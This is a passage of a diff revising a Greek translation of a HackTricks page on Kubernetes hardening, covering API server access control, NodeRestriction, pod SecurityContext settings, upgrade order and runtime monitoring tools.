**προστατεύσετε την πρόσβαση στο Kubernetes Api Server** καθώς ένας κακόβουλος παράγοντας με επαρκή προνόμια θα μπορούσε να το καταχραστεί και να προκαλέσει ζημιά με πολλούς τρόπους στο περιβάλλον.\ +Είναι σημαντικό να ασφαλίσετε τόσο την **access** (**whitelist** origins to access the API Server and deny any other connection) και την [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). Και οπωσδήποτε **never** **allow** **anonymous** **requests**. **Συνήθης ροή αιτήματος:**\ User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. @@ -183,20 +255,20 @@ User or K8s ServiceAccount –> Authentication –> Authorization –> Admission **Συμβουλές**: - Κλείστε τις θύρες. -- Αποφύγετε την ανώνυμη πρόσβαση. -- NodeRestriction; Χωρίς πρόσβαση από συγκεκριμένους nodes στο API. +- Αποφύγετε την Anonymous πρόσβαση. +- NodeRestriction; No access from specific nodes to the API. - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) -- Βασικά αποτρέπει τα kubelets από το να προσθέτουν/αφαιρούν/ενημερώνουν labels με το prefix node-restriction.kubernetes.io/. Αυτό το prefix είναι δεσμευμένο για τους administrators ώστε να επισημαίνουν τα Node αντικείμενά τους για σκοπούς απομόνωσης workload, και τα kubelets δεν θα επιτρέπεται να τροποποιούν labels με αυτό το prefix. -- Επιπλέον, επιτρέπει στα kubelets να προσθέτουν/αφαιρούν/ενημερώνουν αυτά τα labels και τα αντίστοιχα prefix. -- Διασφαλίστε με labels την ασφαλή απομόνωση workload. -- Αποτρέψτε συγκεκριμένα pods από την πρόσβαση στο API. +- Βασικά αποτρέπει τους kubelets από το να προσθέτουν/αφαιρούν/ενημερώνουν labels με πρόθεμα node-restriction.kubernetes.io/. Αυτό το label prefix είναι reserved για administrators ώστε να επισημαίνουν τα Node objects για λόγους workload isolation, και οι kubelets δεν θα επιτρέπεται να τροποποιούν labels με αυτό το πρόθεμα. +- Επιπλέον, επιτρέπει στους kubelets να προσθέτουν/αφαιρούν/ενημερώνουν αυτά τα labels και τα label prefixes. +- Χρησιμοποιήστε labels για να εξασφαλίσετε secure workload isolation. +- Αποφύγετε σε συγκεκριμένα pods την πρόσβαση στο API. - Αποφύγετε την έκθεση του ApiServer στο internet. - Αποφύγετε μη εξουσιοδοτημένη πρόσβαση μέσω RBAC. -- Βάλτε την θύρα του ApiServer πίσω από firewall και whitelist διευθύνσεων IP. +- Κλείδωμα του ApiServer port με firewall και IP whitelisting. ### SecurityContext Hardening -Εξ ορισμού ο χρήστης root θα χρησιμοποιείται όταν ένα Pod ξεκινάει εάν δεν έχει οριστεί άλλος χρήστης. Μπορείτε να τρέξετε την εφαρμογή σας μέσα σε ένα πιο ασφαλές context χρησιμοποιώντας ένα πρότυπο παρόμοιο με το ακόλουθο: +Εξ ορισμού ο root user θα χρησιμοποιηθεί όταν ένα Pod ξεκινήσει αν δεν καθοριστεί άλλος χρήστης. Μπορείτε να τρέξετε την εφαρμογή σας μέσα σε ένα πιο ασφαλές context χρησιμοποιώντας ένα πρότυπο παρόμοιο με το ακόλουθο: ```yaml apiVersion: v1 kind: Pod @@ -225,30 +297,30 @@ allowPrivilegeEscalation: true - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -### Γενική Σκληρυνση +### Γενική Σκληροποίηση -Πρέπει να ενημερώνετε το περιβάλλον Kubernetes όσο συχνά χρειάζεται ώστε να έχει: +Πρέπει να ενημερώνετε το περιβάλλον Kubernetes σας όσο συχνά χρειάζεται για να έχετε: - Ενημερωμένες εξαρτήσεις. -- Διορθώσεις σφαλμάτων και ενημερώσεις ασφάλειας. +- Διορθώσεις σφαλμάτων και ενημερώσεις ασφαλείας. -[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Κάθε 3 μήνες υπάρχει μια νέα δευτερεύουσα έκδοση -- 1.20.3 = 1(Κύρια).20(Δευτερεύουσα).3(διόρθωση) +[**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Κάθε 3 μήνες κυκλοφορεί ένα νέο minor release -- 1.20.3 = 1(Major).20(Minor).3(patch) **Ο καλύτερος τρόπος για να ενημερώσετε ένα Kubernetes Cluster είναι (από** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** -- Αναβαθμίστε τα components του Master Node ακολουθώντας αυτή τη σειρά: -- etcd (όλες οι περιπτώσεις). +- Αναβαθμίστε τα Master Node components ακολουθώντας αυτή τη σειρά: +- etcd (όλες οι εγκαταστάσεις). - kube-apiserver (όλοι οι hosts του control plane). - kube-controller-manager. - kube-scheduler. -- cloud controller manager, αν χρησιμοποιείτε κάποιο. -- Αναβαθμίστε τα components των Worker Node όπως kube-proxy, kubelet. +- cloud controller manager, αν το χρησιμοποιείτε. +- Αναβαθμίστε τα Worker Node components όπως kube-proxy, kubelet. -## Παρακολούθηση & ασφάλεια Kubernetes: +## Παρακολούθηση και ασφάλεια Kubernetes: - Kyverno Policy Engine -- Cilium Tetragon - Παρατηρησιμότητα ασφάλειας και επιβολή σε χρόνο εκτέλεσης βασισμένη σε eBPF -- Network Security Policies -- Falco - Παρακολούθηση ασφάλειας σε χρόνο εκτέλεσης & ανίχνευση +- Cilium Tetragon - Παρατηρησιμότητα ασφάλειας βασισμένη σε eBPF και επιβολή κατά το runtime +- Πολιτικές Ασφάλειας Δικτύου (Network Security Policies) +- Falco - Παρακολούθηση και εντοπισμός ασφάλειας κατά το runtime {{#include ../../../banners/hacktricks-training.md}}